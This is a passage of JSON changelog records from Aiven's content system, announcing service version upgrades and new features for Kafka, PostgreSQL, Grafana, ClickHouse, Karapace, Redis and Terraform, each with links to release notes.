options"},{"_key":"bcd66e75f7734","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"c5f7bc054992","_type":"link","href":"https://github.com/aiven/opensearch-connector-for-apache-kafka/releases/tag/v2.0.4"},{"_key":"7739b9568ef1","_type":"link","href":"https://github.com/aiven/opensearch-connector-for-apache-kafka/blob/v2.0.4/docs/opensearch-sink-connector-config-options.rst"}],"style":"normal"}],"publishedAt":"2022-12-20T14:48:00.000Z","tags":[{"_key":"10b54f1abce5","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven's OpenSearch Connector for Apache Kafka"}
{"_createdAt":"2022-10-27T09:02:59Z","_i18n_lang":"en","_id":"65ebe69f-74e8-4c76-a319-08daf4be12dc","_rev":"GNtcCQgxf3P3DqpLt1idTJ","_type":"changelog","_updatedAt":"2022-10-27T09:02:59Z","changeType":"","publishedAt":"2022-02-17T00:00:00.000Z","tags":[{"_key":"5885af58-1962-47b1-9f52-39de3da6f5c6","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"service"}],"title":"Aiven for MySQL version 8.0.27 is available."}
{"_createdAt":"2022-10-27T09:10:05Z","_i18n_lang":"en","_id":"5b470d03-c47d-4266-afcf-0ba475e29bdc","_rev":"Dn65xz5Z1k22g7BhlztMkh","_type":"changelog","_updatedAt":"2022-10-27T09:10:05Z","changeType":"","description":[{"_key":"c10e23d4-5182-421d-8341-729d3a70996f","_type":"block","children":[{"_key":"3cb693d5-3aac-488f-ba2a-42120565aa9c","_type":"span","marks":[],"text":"See "},{"_key":"e92d5f79-910b-4465-850b-9b746a3b0c43","_type":"span","marks":["m11060154467467"],"text":"this help article"},{"_key":"3b412948-a0c3-4d8b-91d4-d0b4f34f4dd8","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m11060154467467","_type":"link","href":"https://help.aiven.io/security/authentication-tokens"}],"style":"normal"}],"publishedAt":"2018-06-27T00:00:00.000Z","tags":[],"title":"Added support for tracking and revoking individual authentication tokens"}
{"_createdAt":"2022-10-27T09:10:13Z","_i18n_lang":"en","_id":"5bba47b5-38ed-457b-ab4c-64b868f203a1","_rev":"ri8ZjU8zRgh6Niwltv1ERd","_type":"changelog","_updatedAt":"2022-10-27T09:10:13Z","changeType":"","description":[{"_key":"24a3db45-e4ac-4a88-a69a-65498a20835e","_type":"block","children":[{"_key":"96e126fe-61ca-4563-a693-c819c87abb64","_type":"span","marks":[],"text":"Please refer to the "},{"_key":"c0cc4ff7-3f61-4e21-9149-f563d4784ff2","_type":"span","marks":["m1816104443813"],"text":"changelog"},{"_key":"6f163c65-5b3f-4623-be2a-b0cb6d14c1bc","_type":"span","marks":[],"text":" for what's new."}],"markDefs":[{"_key":"m1816104443813","_type":"link","href":"https://github.com/grafana/grafana/blob/master/CHANGELOG.md"}],"style":"normal"}],"publishedAt":"2018-05-07T00:00:00.000Z","tags":[{"_key":"1f82d94b-3750-40fd-b2bc-9b32e4efedca","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Updated Grafana to version 5.1.0 and updated all available plugins to the latest versions"}
{"_createdAt":"2022-10-27T09:04:26Z","_i18n_lang":"en","_id":"5cf96a79-d487-4e53-b4b1-f5c82d2fe8bc","_rev":"G4qVVLRzbD2hZSG98TuCRJ","_type":"changelog","_updatedAt":"2022-10-27T09:04:26Z","changeType":"","description":[{"_key":"e60c6ba6-c8be-489f-bc9b-ac2a307b91ec","_type":"block","children":[{"_key":"a7bb68ed-f696-4111-b56c-4708e4d6c4e4","_type":"span","marks":[],"text":"Please see "},{"_key":"ea2d7e5f-57c2-4521-8fb7-9516f99265d3","_type":"span","marks":["m10803880119419"],"text":"the documentation"},{"_key":"74db0abb-207a-4bc7-8142-1b8a53cf3375","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m10803880119419","_type":"link","href":"https://github.com/GoogleCloudPlatform/pubsub/tree/v0.8-alpha"}],"style":"normal"}],"publishedAt":"2021-05-10T00:00:00.000Z","tags":[{"_key":"41d95b6c-bfa8-4380-8361-8310647fbdd6","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Google Cloud Pub/Sub Kafka Connect Connector has been updated to version 0.8-alpha"}
{"_createdAt":"2022-10-27T09:02:14Z","_i18n_lang":"en","_id":"5d09f733-283b-4b0c-b4a0-4b52c953def0","_rev":"jxjwnOsJAgDXPDj4qmbzES","_type":"changelog","_updatedAt":"2022-10-27T09:02:14Z","changeType":"","publishedAt":"2022-08-02T00:00:00.000Z","tags":[{"_key":"0bcb128c-b37d-45d2-96ca-a8abc8ad07e7","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"pg_stat_monitor 1.0.1 extension is available on Aiven for PostgreSQL 13 and 14."}
{"_createdAt":"2022-10-27T09:08:12Z","_i18n_lang":"en","_id":"5d105d7c-9324-4e81-b292-80cec0a0d414","_rev":"GNtcCQgxf3P3DqpLt1jnXx","_type":"changelog","_updatedAt":"2022-10-27T09:08:12Z","changeType":"","description":[{"_key":"0d1c2584-c465-47a0-aa9c-3167c695c68f","_type":"block","children":[{"_key":"f4c8af5c-95fc-4251-baad-61dcce9d5743","_type":"span","marks":[],"text":"Please see the "},{"_key":"13d62f4e-c420-46d6-b3e1-3bdee198a1a7","_type":"span","marks":["m11199332148253"],"text":"release notes"},{"_key":"36bf66e0-face-48a5-b2b6-e028f60a9d99","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m11199332148253","_type":"link","href":"https://community.grafana.com/t/release-notes-v6-2-x/17037"}],"style":"normal"}],"publishedAt":"2019-06-27T00:00:00.000Z","tags":[{"_key":"82a0ce46-5b7f-40dc-ae2b-dfcb48046822","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Updated Grafana to version 6.2.5 and all plugins to latest versions"}
{"_createdAt":"2022-10-27T09:07:21Z","_i18n_lang":"en","_id":"5d5702b8-b095-4f12-ac15-8c6cd7311ffb","_rev":"tsRucK8MIVb3810duaE4mW","_type":"changelog","_updatedAt":"2022-10-27T09:07:21Z","changeType":"","description":[{"_key":"86579b46-5b4e-4863-9a4a-a2e23c41a867","_type":"block","children":[{"_key":"4fcc1aea-9d91-46e0-865d-8ae415cc443b","_type":"span","marks":[],"text":"Please see the "},{"_key":"361d67f8-f261-4c0a-a8ea-beb8be65584b","_type":"span","marks":["m108393873996"],"text":"the documentation"},{"_key":"1c0a5c6b-62fd-4174-922d-cbe30dd1774a","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m108393873996","_type":"link","href":"https://docs.confluent.io/current/connect/kafka-connect-elasticsearch/index.html"}],"style":"normal"}],"publishedAt":"2019-11-22T00:00:00.000Z","tags":[{"_key":"bbaa4db9-c081-4dcd-ab9e-f62dfa7e3d7d","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven for Apache Kafka Connect sink connector for Elasticsearch is now available in the preview mode"}
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{"_createdAt":"2022-10-27T09:05:46Z","_i18n_lang":"en","_id":"985b4cfc-515a-4363-b719-ac4f033797bb","_rev":"7JYD5XroFCjaK9NJzk3rxU","_type":"changelog","_updatedAt":"2022-10-27T09:05:46Z","changeType":"","description":[{"_key":"db109452-5399-4fd6-a96a-e85ca84e25b3","_type":"block","children":[{"_key":"c44e1be5-3ef1-4913-8e81-b472f868ce58","_type":"span","marks":[],"text":"Please see the "},{"_key":"9531f238-0cec-42dd-b857-87592fb6da96","_type":"span","marks":["m16060911949624"],"text":"release notes"},{"_key":"4baf8c2c-90f6-4f88-825c-921991ce4679","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m16060911949624","_type":"link","href":"https://community.grafana.com/t/release-notes-v7-3-x/37993"}],"style":"normal"}],"publishedAt":"2020-11-02T00:00:00.000Z","tags":[{"_key":"337dc73d-4bfb-409e-b9a3-9e3b67b9c6f4","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Updated Grafana to version 7.3.1"}
{"__i18n_lang":"en","_createdAt":"2023-01-18T10:34:59Z","_id":"9922b669-deca-4a35-b921-42e6b5ed55f6","_rev":"iop8tFFqgfe67JrEbDmkcT","_type":"changelog","_updatedAt":"2023-02-03T12:04:45Z","changeType":"new","description":[{"_key":"366ea08bec69","_type":"block","children":[{"_key":"c5c999f1e6a60","_type":"span","marks":[],"text":"TimescaleDB extension 2.9.2 is now available for Aiven for PostgreSQL. TimescaleDB is an open-source relational database extension running on top of PostgreSQL for time-series and analytics purposes. Upgrade to the latest version at your earliest convenience so that you can get major new features and bug fixes to the previous version."}],"markDefs":[],"style":"normal"},{"_key":"87e9a8a87bec","_type":"block","children":[{"_key":"96cbeed4c2ae","_type":"span","marks":[],"text":"Key features introduced with this release are the following:"}],"markDefs":[],"style":"normal"},{"_key":"5247a91ed92b","_type":"block","children":[{"_key":"1d76b5fbdfac","_type":"span","marks":[],"text":"Hierarchical Continuous Aggregates (aka Continuous Aggregate on top of another Continuous Aggregate)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4fb458cd7244","_type":"block","children":[{"_key":"0ac1fc82da22","_type":"span","marks":[],"text":"Improved "},{"_key":"bda058f74e02","_type":"span","marks":["em"],"text":"time_bucket_gapfill"},{"_key":"fb2d20d42c48","_type":"span","marks":[],"text":" function to allow specifying the timezone to bucket"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"aed548723d76","_type":"block","children":[{"_key":"ad8eb924d107","_type":"span","marks":[],"text":"Fixed schedules for background jobs and the ability to check job errors"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4f02c242cfb1","_type":"block","children":[{"_key":"5bae9749e53e","_type":"span","marks":["em"],"text":"alter_data_node()"},{"_key":"6c815be9dcd0","_type":"span","marks":[],"text":" to change the data node configuration and configure the data node availability."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"publishedAt":"2023-02-02T10:34:00.000Z","tags":[{"_key":"344392fd1a1d","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"TimescaleDB extension 2.9.2 for Aiven for PostgreSQL released"}
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{"_createdAt":"2022-10-27T09:03:29Z","_i18n_lang":"en","_id":"adae79de-5901-4ddd-9e45-7d40c03229ee","_rev":"rHrbN7cdfRjM6CvZf3JAWm","_type":"changelog","_updatedAt":"2022-10-27T09:03:29Z","changeType":"","description":[{"_key":"8d8a2f13-e970-4e76-9541-052655b54b7a","_type":"block","children":[{"_key":"bd0942a0-f624-4192-8cf9-8af505474216","_type":"span","marks":[],"text":"See "},{"_key":"85fb0467-930d-41fe-a3c1-d5d98988b78c","_type":"span","marks":["m2288653232364"],"text":"release notes"},{"_key":"210e4a73-a43e-4789-8d6d-480a192740b1","_type":"span","marks":[],"text":" for more details about the PostgreSQL minor releases."}],"markDefs":[{"_key":"m2288653232364","_type":"link","href":"https://www.postgresql.org/docs/release/"}],"style":"normal"}],"publishedAt":"2021-11-11T00:00:00.000Z","tags":[{"_key":"d81e2abb-f90e-4aaf-b1f2-5b77ef610c34","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL updated to latest minor releases 13.5, 12.9, 11.14, and 10.19"}
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{"_createdAt":"2022-10-27T09:08:27Z","_i18n_lang":"en","_id":"bbd55fef-4c0e-4367-947e-0d7342c23d50","_rev":"ri8ZjU8zRgh6Niwltv1DIf","_type":"changelog","_updatedAt":"2022-10-27T09:08:27Z","changeType":"","description":[{"_key":"acd85696-f305-4e30-b045-968592791995","_type":"block","children":[{"_key":"d3007287-f56c-44c2-ba3e-defca4e61279","_type":"span","marks":[],"text":"Enabling this requires a separate configuration change under advanced settings."}],"markDefs":[],"style":"normal"}],"publishedAt":"2019-06-03T00:00:00.000Z","tags":[{"_key":"50dec7c0-e317-4541-a951-3ecc29c710f7","_ref":"7f18c6c3-36b9-4a4e-b168-6e1752ce4338","_type":"service"},{"_key":"fe05de10-2998-457c-a483-c752545f1be7","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"},{"_key":"2fe3f17d-b504-446f-a9b9-6f815ef2d4fe","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"},{"_key":"18efe5de-6a5c-40bc-9744-c8b5ea7be174","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"Support accessing Prometheus metrics from non-private addresses with services running in the VPC"}
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{"_createdAt":"2022-10-27T09:05:05Z","_i18n_lang":"en","_id":"b3a7dbbe-fc6a-4b0a-b15a-f7ded1718a09","_rev":"HEiYk6nGjmUICadcDbSkqM","_type":"changelog","_updatedAt":"2022-10-27T09:05:05Z","changeType":"","description":[{"_key":"125c3099-8526-4b06-b48b-65a406e890d6","_type":"block","children":[{"_key":"62be37a5-133d-45f1-bc4a-0e4bff85fbd7","_type":"span","marks":[],"text":"PostgreSQL 13 comes with many new features and performance enhancements. Please see our blog "},{"_key":"5e1b1083-194a-40d0-9d03-07a4eef23928","_type":"span","marks":["m12780306980030"],"text":"post"},{"_key":"1ee78692-8029-4db6-a34e-7b7537fe0ce4","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m12780306980030","_type":"link","href":"https://aiven.io/blog/aiven-for-postgresql-13-is-now-available"}],"style":"normal"}],"publishedAt":"2021-02-15T00:00:00.000Z","tags":[{"_key":"ed36bc6a-2556-4dc8-9875-3afc7d8b39d5","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL 13 now available"}
{"__i18n_lang":"en","_createdAt":"2022-11-22T10:40:59Z","_id":"bcf599bb-5d3f-4ae6-a152-0214371834cc","_rev":"6wJ6OxF1mPB2I3zefuhHh9","_type":"changelog","_updatedAt":"2023-01-26T11:28:58Z","changeType":"improved","description":[{"_key":"32ac5819f0f5","_type":"block","children":[{"_key":"94a1f2d934b00","_type":"span","marks":[],"text":"Aiven for ClickHouse has been updated from version 21.11 to version 22.8. This change introduces a number of improvements to your managed ClickHouse service(s): new features, performance improvements, and bug fixes. See "},{"_key":"223da5a0d33b","_type":"span","marks":["0049c2bf7db8"],"text":"ClickHouse 2022 Changelog"},{"_key":"7faa6fac1521","_type":"span","marks":[],"text":" for more details on what specific versions cover."}],"markDefs":[{"_key":"0049c2bf7db8","_type":"link","href":"https://clickhouse.com/docs/en/whats-new/changelog/#-clickhouse-release-228-2022-08-18"}],"style":"normal"}],"publishedAt":"2022-11-21T10:40:00.000Z","tags":[{"_key":"7403d459e8c5","_ref":"d0c7af0a-c0a3-4169-83ad-6ac0bcda70a1","_type":"service"}],"title":"Aiven for ClickHouse has been updated to version 22.8."}
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{"_createdAt":"2022-10-27T09:10:01Z","_i18n_lang":"en","_id":"b5f4625b-153a-47f9-b96a-1fc4a81d1e8f","_rev":"tsRucK8MIVb3810duaE6sW","_type":"changelog","_updatedAt":"2022-10-27T09:10:01Z","changeType":"","description":[{"_key":"f0ac517a-e623-49f1-94f1-dad462988c9f","_type":"block","children":[{"_key":"100446ae-d9c4-433d-8612-187334e60be3","_type":"span","marks":[],"text":"As a new feature it's also now possible to choose the Kafka major version to use. Aiven for Apache Kafka services get minor version upgrades while the major version stays fixed. Upgrading to a newer major version is possible by going to your Aiven for Apache Kafka service's dashboard and clicking on the 'Upgrade Kafka...' button."}],"markDefs":[],"style":"normal"}],"publishedAt":"2018-07-31T00:00:00.000Z","tags":[{"_key":"a1c49434-0232-4746-95d4-583cc6c4d225","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven for Apache Kafka now has versions 1.0.2, 1.1.1 and 2.0.0 available"}
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{"_createdAt":"2022-10-27T09:03:58Z","_i18n_lang":"en","_id":"b7723cb2-1f4e-4856-98d3-fe99b1ad9767","_rev":"HEiYk6nGjmUICadcDbSepX","_type":"changelog","_updatedAt":"2022-10-27T09:03:58Z","changeType":"","description":[{"_key":"e8489eef-a822-47b8-9e57-837f517161b0","_type":"block","children":[{"_key":"9dcc4e11-0efa-45ff-a940-fa63f37a8882","_type":"span","marks":[],"text":"Please see the "},{"_key":"5f315344-3bf2-4bb4-a2c5-c0765085628b","_type":"span","marks":["m11778030319300"],"text":"Release Notes"},{"_key":"c6948c74-8961-47f0-93e4-22f89692a6b5","_type":"span","marks":[],"text":" for what's new in this release."}],"markDefs":[{"_key":"m11778030319300","_type":"link","href":"https://debezium.io/releases/1.6/release-notes"}],"style":"normal"}],"publishedAt":"2021-07-09T00:00:00.000Z","tags":[{"_key":"580743f1-e6c3-41b6-9177-57dfdf9072de","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Kafka Connect Debezium 1.6.0.Final is now available"}
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{"__i18n_lang":"en","_createdAt":"2022-12-02T15:59:30Z","_id":"b8d30315-b86b-43c1-a278-9d36392f8cfe","_rev":"cmQvgZcsUwgFEQbM0TMkj9","_type":"changelog","_updatedAt":"2022-12-22T10:45:26Z","changeType":"improved","description":[{"_key":"6d70654794ea","_type":"block","children":[{"_key":"039558bbf3ef0","_type":"span","marks":[],"text":"Karapace upgraded versions 3.34 and 3.3.5 are now available. These version releases contain a fix for the proper handling of tombstone records during the backup and restore. For more information, see the "},{"_key":"039558bbf3ef1","_type":"span","marks":["6f581294e5c3"],"text":" Karapace release notes"},{"_key":"039558bbf3ef2","_type":"span","marks":[],"text":" for what's new in this release."}],"markDefs":[{"_key":"6f581294e5c3","_type":"link","href":"https://github.com/aiven/karapace/releases/tag/3.3.5"}],"style":"normal"}],"publishedAt":"2022-11-19T15:59:00.000Z","tags":[{"_key":"2720995ac1f9","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Karapace upgrade versions 3.3.4 and 3.4.5 are now available."}
{"__i18n_lang":"en","_createdAt":"2024-03-12T16:09:48Z","_id":"b1bca846-212e-4b82-9caa-1f94f19daca0","_rev":"L3boCkkiM9On4ApfxON332","_type":"changelog","_updatedAt":"2024-03-12T16:15:16Z","changeType":"improved","description":[{"_key":"5be43b17360c","_type":"block","children":[{"_key":"2b565b03c6a80","_type":"span","marks":[],"text":"The tiered storage feature for Aiven for Apache Kafka® is now accessible for all users to test. Access to this feature has been simplified, removing the need to go through sales and providing direct access. \n\nTiered storage is currently in "},{"_key":"2b565b03c6a81","_type":"span","marks":["58ea33e51bfc"],"text":"Early Availability"},{"_key":"2b565b03c6a82","_type":"span","marks":[],"text":", and continuous enhancements are being made. We encourage users to explore Tiered Storage and provide feedback to help refine and improve the feature. \n\nTo learn more, see "},{"_key":"2b565b03c6a83","_type":"span","marks":["e4ab27779cc9"],"text":"Tiered storage in Aiven for Apache Kafka "},{"_key":"2b565b03c6a84","_type":"span","marks":[],"text":"documentation."}],"markDefs":[{"_key":"58ea33e51bfc","_type":"link","href":"https://aiven.io/docs/platform/concepts/beta_services#early-availability-public-beta-"},{"_key":"e4ab27779cc9","_type":"link","href":"https://aiven.io/docs/products/kafka/howto/kafka-tiered-storage-get-started"}],"style":"normal"}],"publishedAt":"2024-03-12T16:09:00.000Z","tags":[{"_key":"72397ffe0a6c","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven for Apache Kafka tiered storage update"}
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{"_createdAt":"2022-10-27T09:10:02Z","_i18n_lang":"en","_id":"bab750f2-8dc0-411e-8567-367451f6f677","_rev":"Cf2WlCE8X5IGBBi7ld1LDK","_type":"changelog","_updatedAt":"2022-10-27T09:10:02Z","changeType":"","description":[{"_key":"1f59b3dd-bddd-4682-ab0b-9b02007f730d","_type":"block","children":[{"_key":"2c319aea-73f4-4ac0-bd87-81f24ba88086","_type":"span","marks":[],"text":"All Aiven services are now available in the new region."}],"markDefs":[],"style":"normal"}],"publishedAt":"2018-07-17T00:00:00.000Z","tags":[{"_key":"e127b99f-db1d-42f6-a0d5-a0ea89faee83","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"hostProvider"}],"title":"Added support for Google Cloud Platform (GCP) Los Angeles (\u003ccode\u003eus-west2\u003c/code\u003e) region"}
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{"_createdAt":"2022-10-27T09:08:49Z","_i18n_lang":"en","_id":"c1fe2de1-ebdf-4949-b36d-98834657ccb3","_rev":"GNtcCQgxf3P3DqpLt1jvFN","_type":"changelog","_updatedAt":"2022-10-27T09:08:49Z","changeType":"","description":[{"_key":"e20c4524-df84-4ca6-8802-43e5783036cb","_type":"block","children":[{"_key":"7d5a7840-0965-4c16-8356-efcfd5d493a7","_type":"span","marks":[],"text":"Please see the "},{"_key":"e22df2b2-8d6d-4c1a-941b-6bd2ee2721b7","_type":"span","marks":["m10155337134488"],"text":"Changelog"},{"_key":"601a2e88-676d-4319-a328-582b0e573c47","_type":"span","marks":[],"text":" for what's new in this release."}],"markDefs":[{"_key":"m10155337134488","_type":"link","href":"https://raw.githubusercontent.com/antirez/redis/5.0/00-RELEASENOTES"}],"style":"normal"}],"publishedAt":"2019-04-01T00:00:00.000Z","tags":[{"_key":"3b76a21f-1d7a-4fed-9dd2-e9a60a6d2e67","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"Updated Redis to major version 5.0.4"}
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{"__i18n_lang":"en","_createdAt":"2022-12-02T16:05:06Z","_id":"c369e3e0-af46-434c-9a10-9a171a9a5ee2","_rev":"IiYi5XVNmR5WYQ23CFYsOz","_type":"changelog","_updatedAt":"2022-12-22T10:45:59Z","changeType":"improved","description":[{"_key":"5b8eab2c5867","_type":"block","children":[{"_key":"cd1fd33bec0c0","_type":"span","marks":[],"text":"The most significant fixes in Karapace 3.3.6 are: Karapace could change prematurely to a ready state, while replaying the schema data from Kafka. Now, Karapace will only be ready after replaying the most recent known schema data offset from Kafka. Furthermore, when Karapace was not ready, it responded to read requests from an incomplete state. Now, when Karapace is not ready, it forwards requests to the primary node, which will provide an up-to-date response. Additionally, with Karapace version 3.3.7, you can set the Karapace version using the ``KARAPACE_VERSION`` environment variable. For more information, see "},{"_key":"cd1fd33bec0c1","_type":"span","marks":["3731e047aa16"],"text":"Release notes for 3.3.6"},{"_key":"cd1fd33bec0c2","_type":"span","marks":[],"text":" and "},{"_key":"cd1fd33bec0c3","_type":"span","marks":["183bf968c696"],"text":"Release notes for 3.3.7"},{"_key":"cd1fd33bec0c4","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"3731e047aa16","_type":"link","href":"https://github.com/aiven/karapace/releases/tag/3.3.6"},{"_key":"183bf968c696","_type":"link","href":"https://github.com/aiven/karapace/releases/tag/3.3.7"}],"style":"normal"}],"publishedAt":"2022-11-25T16:00:00.000Z","tags":[{"_key":"b08235c4b94b","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Karapace versions 3.3.6 and 3.3.7 are now available."}
{"_createdAt":"2022-10-27T09:03:47Z","_i18n_lang":"en","_id":"c3ecfa50-f9fd-4612-ad36-4035beff30a2","_rev":"avO8DZ6Ky9k3TDzRfU5wr9","_type":"changelog","_updatedAt":"2022-10-27T09:03:47Z","changeType":"","publishedAt":"2021-08-13T00:00:00.000Z","tags":[],"title":"Add user configuration option allowing to keep index.refresh_interval"}
{"__i18n_lang":"en","_createdAt":"2024-05-08T07:23:41Z","_id":"c47ba7db-cc74-4f99-bcf1-de67643d85e9","_rev":"nLSTzF26jPs3sgmqJ2VzXB","_type":"changelog","_updatedAt":"2024-05-08T07:29:48Z","description":[{"_key":"83de4289698a","_type":"block","children":[{"_key":"ba2ebf07d3a00","_type":"span","marks":[],"text":"In version 4.17.0, the beta flag has been removed from the "},{"_key":"b6ff0b7f2422","_type":"span","marks":["code"],"text":"aiven_organization_application_user"},{"_key":"65aa1cc8d7ce","_type":"span","marks":[],"text":" and "},{"_key":"1b93070366ea","_type":"span","marks":["code"],"text":"aiven_organization_application_user_token"},{"_key":"d391e1b74417","_type":"span","marks":[],"text":" resources. "}],"markDefs":[],"style":"normal"},{"_key":"753d9ce3b50d","_type":"block","children":[{"_key":"c46d2a82df12","_type":"span","marks":[],"text":"Application users are a special type of user that super admin can create to use for programmatic access to Aiven through Terraform. They make it easier to audit and manage access to your Aiven resources for applications."}],"markDefs":[],"style":"normal"},{"_key":"d5d28121674c","_type":"block","children":[{"_key":"cd0f76f2ee6b","_type":"span","marks":[],"text":"This release also includes fixes for the "},{"_key":"bc5494288c55","_type":"span","marks":["code"],"text":"aiven_kafka_connector"},{"_key":"03dd4a1523be","_type":"span","marks":[],"text":" 201 error and the invalid token error. "}],"markDefs":[],"style":"normal"},{"_key":"623a5b04543d","_type":"block","children":[{"_key":"22d57b6ee1410","_type":"span","marks":[],"text":"For more information on Aiven Provider for Terraform, see the "},{"_key":"22d57b6ee1411","_type":"span","marks":["b497858057f7"],"text":"documentation"},{"_key":"22d57b6ee1412","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"b497858057f7","_type":"link","href":"https://registry.terraform.io/providers/aiven/aiven/latest/docs"}],"style":"normal"}],"publishedAt":"2024-05-07T07:23:00.000Z","tags":[{"_key":"351ef512ea1e","_ref":"fa4d544f-efa9-4a82-9ef7-74f714d5f34f","_type":"tool"}],"title":"Application users are now generally available in Aiven Provider for Terraform"}
{"_createdAt":"2022-10-27T09:11:59Z","_i18n_lang":"en","_id":"c5c4cc9e-9012-4636-9bbb-2fdd0063f889","_rev":"7JYD5XroFCjaK9NJzk43tC","_type":"changelog","_updatedAt":"2022-10-27T09:11:59Z","changeType":"","description":[{"_key":"42708f6b-e038-49f8-821e-1708f2de18ad","_type":"block","children":[{"_key":"abdaf892-a2f9-4067-a4c1-e59355605d57","_type":"span","marks":[],"text":"Please refer to the "},{"_key":"7ec4d4e0-d564-4e54-b071-5f322a290c54","_type":"span","marks":["m2143166583339"],"text":"release notes"},{"_key":"346eea42-92cf-4e89-ab7f-693ba5c75661","_type":"span","marks":[],"text":" for what's new."}],"markDefs":[{"_key":"m2143166583339","_type":"link","href":"https://archive.apache.org/dist/kafka/0.10.2.0/RELEASE_NOTES.html"}],"style":"normal"}],"publishedAt":"2017-03-24T00:00:00.000Z","tags":[{"_key":"489bfbd6-196d-4735-9f15-fa1cad602570","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Added support for the new major release 0.10.2.0"}
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{"_createdAt":"2022-10-27T09:10:39Z","_i18n_lang":"en","_id":"e10576f6-8149-4c78-a4c3-694b9dcc62f1","_rev":"tsRucK8MIVb3810duaE7mW","_type":"changelog","_updatedAt":"2022-10-27T09:10:39Z","changeType":"","description":[{"_key":"a14178f6-6030-4c1a-ae73-c137bd9e526a","_type":"block","children":[{"_key":"17510fc7-74ae-4db7-bdc7-02bc60e6ab10","_type":"span","marks":[],"text":"Please contact Aiven support to enable or disable TLS 1.0 or 1.1 for running services."}],"markDefs":[],"style":"normal"}],"publishedAt":"2018-02-15T00:00:00.000Z","tags":[],"title":"New Aiven services no longer allow TLS 1.0 or 1.1 connections, requiring  TLS 1.2 new secure communications"}
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{"_createdAt":"2022-10-27T09:02:21Z","_i18n_lang":"en","_id":"f8821d3d-ef4a-4940-8aac-458ad08a6314","_rev":"P6Du4FUPx13pONAPQIFvHu","_type":"changelog","_updatedAt":"2022-10-27T09:02:21Z","changeType":"","description":[{"_key":"fd9518ba-05da-43b4-8f35-0e3c52bbdfa4","_type":"block","children":[{"_key":"cfb1e896-8a6f-4379-8fcf-b84a272bcce4","_type":"span","marks":[],"text":"Please see the "},{"_key":"c0ba46a8-b801-484e-bc3f-1457604a85a4","_type":"span","marks":["m10580708181340"],"text":"Release notes"},{"_key":"e975eb12-6e9a-4dee-a97e-e3304349689c","_type":"span","marks":[],"text":" for what's new in this release."}],"markDefs":[{"_key":"m10580708181340","_type":"link","href":"https://github.com/aiven/karapace/releases/tag/3.3.0"}],"style":"normal"}],"publishedAt":"2022-07-08T00:00:00.000Z","tags":[{"_key":"f8fbf05a-cc24-4f60-aff6-abb4e5b08f5c","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Karapace has been upgraded to 3.3.0"}
{"__i18n_lang":"en","_createdAt":"2024-07-18T11:47:34Z","_id":"fcde37b3-5072-4ded-b5a6-533bfb43318e","_rev":"lESIXfhUM7GwGlQ32k826t","_type":"changelog","_updatedAt":"2024-07-18T11:47:34Z","changeType":"new","description":[{"_key":"d2ed5b203a3e","_type":"block","children":[{"_key":"a8423538c8660","_type":"span","marks":[],"text":"Aiven for Apache Kafka now supports follower fetching. Consumers can fetch data from the nearest replica instead of the leader, optimizing data fetching and improving performance. \nFor details, see the "},{"_key":"5a1ee26eca59","_type":"span","marks":["3639c5f3c0fe"],"text":"Follower fetching documentation"},{"_key":"dbd86722bad7","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"3639c5f3c0fe","_type":"link","href":"https://aiven.io/docs/products/kafka/concepts/follower-fetching"}],"style":"normal"}],"publishedAt":"2024-07-18T11:43:00.000Z","tags":[{"_key":"a49b918d3cb1","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Follower fetching in Aiven for Apache Kafka®"}
